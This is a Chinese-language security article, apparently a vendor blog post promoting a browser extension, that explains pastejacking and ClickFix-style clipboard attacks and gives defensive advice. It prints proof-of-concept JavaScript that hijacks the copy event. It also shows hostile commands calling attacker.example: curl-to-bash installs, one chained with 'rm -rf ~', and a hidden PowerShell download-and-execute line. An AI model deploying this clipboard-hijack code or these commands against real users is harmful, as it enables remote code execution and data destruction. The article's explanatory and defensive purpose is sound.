攻击机制:劫持复制事件
Pastejacking 之所以有效,是因为每次您按下 Ctrl+C 或 Cmd+C,浏览器都会触发一个名为 copy 的 DOM 事件。任何具有单个事件监听器的页面都可以拦截该事件并覆盖进入剪贴板的内容。页面上对用户可见的文本保持不变,但剪贴板被加载了完全不同的内容。
以下是六行 JavaScript 代码中的完整攻击:
document.addEventListener('copy', function(e) {
e.clipboardData.setData('text/plain', 'malicious-command');
e.preventDefault();
});
现代变体使用异步 Clipboard API,由于大多数浏览器现在将其置于许多用户不仔细阅读就点击通过的权限提示后面,这使得滥用变得更加容易:
document.addEventListener('copy', async (e) => {
e.preventDefault();
await navigator.clipboard.writeText('curl https://attacker.example/install.sh | sudo bash');
});
流程很简单。用户在页面上高亮显示文本。浏览器准备将该文本放入系统剪贴板。在此之前,页面的 JavaScript 拦截了该事件,调用 preventDefault() 阻止真正的复制,然后调用 setData() 或 writeText() 将自己的有效载荷放入您的剪贴板。当用户在任何地方粘贴(终端、管理员提示符、Slack、邮件)时,攻击者的有效载荷出现了,而不是他们以为自己复制的文本。没有漏洞利用,没有 CVE,只是一个被允许的浏览器 API 完全按照文档使用。
为什么终端用户是首要目标
开发者、系统管理员、DevOps 工程师和数据科学家每天都会从博客、文档和 Stack Overflow 复制安装命令。这是工作的基本组成部分。您阅读一篇教程,看到一条命令,复制它,粘贴到 shell 中,然后运行它。整个流程假设您正在阅读的来源也是您正在粘贴的来源。
这种信任模型以两种方式被打破。第一种是当"受信任"的域名本身受到入侵时。被黑客入侵的博客、仿冒的文档镜像站或经过 SEO 优化的教程网站都可以在任何代码块上植入复制监听器。第二种是当该域名只是看起来可信时。名称如 docs-kubernetes-install.com 或 official-homebrew.io 的网站出现在安装指南的搜索结果中,并且通常比真实文档在长尾查询中排名更高。当用户访问其中一个页面时,Pastejacking 有效载荷已经准备就绪。
终端粘贴之所以如此危险,是因为 shell 没有确认步骤。按回车键,它就运行了。如果命令包含换行符,大多数终端甚至不等待回车键就立即执行它。粘贴和执行之间的窗口实际上是零。
Linux 和 Mac 的 install.sh 技巧
经典的 Pastejacking 目标是 curl | bash 安装模式。您见过无数次:
curl https://example.com/install.sh | bash
攻击者托管一个页面,从视觉上看,它确实在向您展示这个无害的命令。页面上的 HTML 块确实显示 example.com。但当您选择并复制文本时,剪贴板被加载了类似以下的内容:
curl https://attacker.example/install.sh | bash; rm -rf ~ &
有两点让这变得极其危险。首先,有效载荷末尾的换行符意味着命令在进入终端的瞬间就运行了。没有机会在回车键自动触发之前阅读它。其次,攻击者可以在看似正常的命令之后串联一个破坏性的清理命令,所以即使您注意到出了什么问题,您的主目录也已经消失了。
一个简化的概念验证页面看起来像这样:
<pre id="cmd">curl https://example.com/install.sh | bash</pre>
<script>
document.getElementById('cmd').addEventListener('copy', (e) => {
e.preventDefault();
e.clipboardData.setData(
'text/plain',
'curl https://attacker.example/install.sh | bash\n'
);
});
</script>
这个 HTML 中没有任何内容会被静态扫描器标记为恶意。它只是一个普通元素上的普通事件监听器。
PowerShell 变体:ClickFix 的远祖
在 Windows 上,同样的技术针对 PowerShell 和运行对话框(Win+R)。有效载荷通常是下载第二阶段二进制文件并执行的单行命令:
powershell -w hidden -c "iwr https://attacker.example/x.ps1 | iex"
Pastejacking 是当前 ClickFix 攻击浪潮的祖先。区别很重要。Pastejacking 是剪贴板级别的:用户被欺骗,网站替换内容,用户粘贴了他们从未打算粘贴的东西。ClickFix 则是在此基础上的社会工程学:用户被明确告知"复制这条命令,打开运行,粘贴,按回车键修复您的浏览器"。在 ClickFix 中,用户知道剪贴板里有什么并仍然运行了它。Pastejacking 在用户不知情的情况下起作用。现代活动结合了两者:他们告诉受害者要粘贴什么,然后悄悄地将其替换为更糟糕的内容。
我们在伪造验证码 ClickFix 详解中详细介绍了 ClickFix 的社会工程学层面,值得与本文一起阅读。
"只需运行这个来修复错误"层
在原始技术之上是厚厚一层社会工程学。一个页面弹出声称您的浏览器已过时、您的系统被感染或您的 Cloudflare 验证失败。它说类似"复制下面的命令并粘贴到 PowerShell 中以验证您是人类"之类的话。屏幕上的命令简短、看起来无害,并且有友好的目的。
Pastejacking 放大了这个把戏。即使是读了屏幕上的命令并认为它看起来安全的谨慎用户,仍然在粘贴不同的东西。屏幕文字只是装饰。剪贴板才是真正的有效载荷。用户现在正在用自己的权限运行攻击者控制的脚本,在许多活动中,这最终会导致信息窃取软件收割浏览器 Cookie、加密货币钱包助记词和 SSH 密钥。
为什么浏览器开发者控制台特别脆弱
通过 Pastejacking 实施的自 XSS 本身就是一个完整的类别。目标是浏览器的 DevTools 控制台。攻击者说服用户打开 DevTools 并粘贴一个"受信任"的代码片段,据称可以启用隐藏功能或解锁某些东西。粘贴的代码以完整的页面权限运行,这意味着它可以读取认证 Cookie、会话令牌以及登录用户能看到的任何数据。
这就是为什么 Facebook、Twitter、Discord 和大多数大型 Web 应用在您打开开发者控制台时会显示巨大的红色警告。他们无法阻止您粘贴内容,但至少可以告诉您,任何让您粘贴内容的人很可能是在试图盗取您的账户。Pastejacking 使自 XSS 更加危险,因为用户甚至不需要被告知要粘贴恶意代码。他们可以以为自己在粘贴一个无害的单行命令,却仍然最终运行了完整的数据泄露脚本。
如何在粘贴前查看您实际复制了什么
防止 Pastejacking 的最佳习惯是打破复制到 shell 的流水线。添加一个验证步骤。
- 先粘贴到文本编辑器中。记事本、TextEdit、VS Code,任何显示原始文本的编辑器。如果内容与您复制的不匹配,您就发现了一次 Pastejacking 尝试。
- 使用剪贴板管理器。Maccy、Ditto、Paste、CopyQ 或 Windows 内置的剪贴板历史记录(Win+V)等工具会在您提交到任何地方粘贴之前显示剪贴板的原始内容。
- 永远不要直接从网站粘贴到 shell 或管理员提示符。始终遵循"网站 → 编辑器 → shell"的流程,即使您很忙。
- 右键单击,检查元素。快速查看 DOM 通常会发现附加在代码块上的
copy事件监听器或页面上的可疑 script 标签。 - 在不需要 JavaScript 的文档网站上禁用 JavaScript。许多攻击在事件监听器无法运行时就会失效。
SafeBrowz 如何拦截它
我们的剪贴板劫持防护监视本文描述的确切模式。它检测在复制事件上调用 setData() 或在没有近期用户发起的点击情况下调用 navigator.clipboard.writeText() 的页面,并阻止写入并显示警告横幅。合法的"复制到剪贴板"按钮不会触发它,因为这些按钮在真正的点击处理程序内触发。Pastejacking 网站会立即触发它,因为它们整个技巧依赖于静默拦截。
剪贴板劫持防护是高级功能。高级版每年 $14.99,一个许可证涵盖 3 台设备。免费版仍然能在域名层面捕获大多数 Pastejacking 活动,因为我们已经提供了已知剪贴板攻击主机的黑名单,每日更新,涵盖 420+ 个被冒充的品牌。SafeBrowz 扩展本身永久免费,适用于 Chrome、Firefox 和 Edge。
开发者和系统管理员的更安全实践
即使安装了扩展,长期解决方案也是改变您安装软件的方式以及您对待在网络上找到的命令的态度。
- 优先选择受信任的镜像。带有签名标签的 GitHub 发布版本始终优于随机博客文章。
- 验证 GPG 签名,适用于项目提供它们的安装脚本和压缩包。大多数严肃的项目都会提供。
- 使用包管理器。
apt、dnf、brew、npm、pip、cargo和winget都会验证它们安装的内容。curl | bash不验证任何内容。 - 必须使用
curl | bash时固定哈希值。先下载脚本,根据项目 README 中的值检查其 SHA-256,然后再执行它。 - 在沙箱中运行不熟悉的脚本。一个一次性 Docker 容器或虚拟机快照只需三十秒,但能提供完全隔离。
- 在终端中粘贴后阅读每条命令。如果您的 shell 支持,在粘贴的命令前添加空行,这样您就有机会在回车触发之前向上滚动阅读。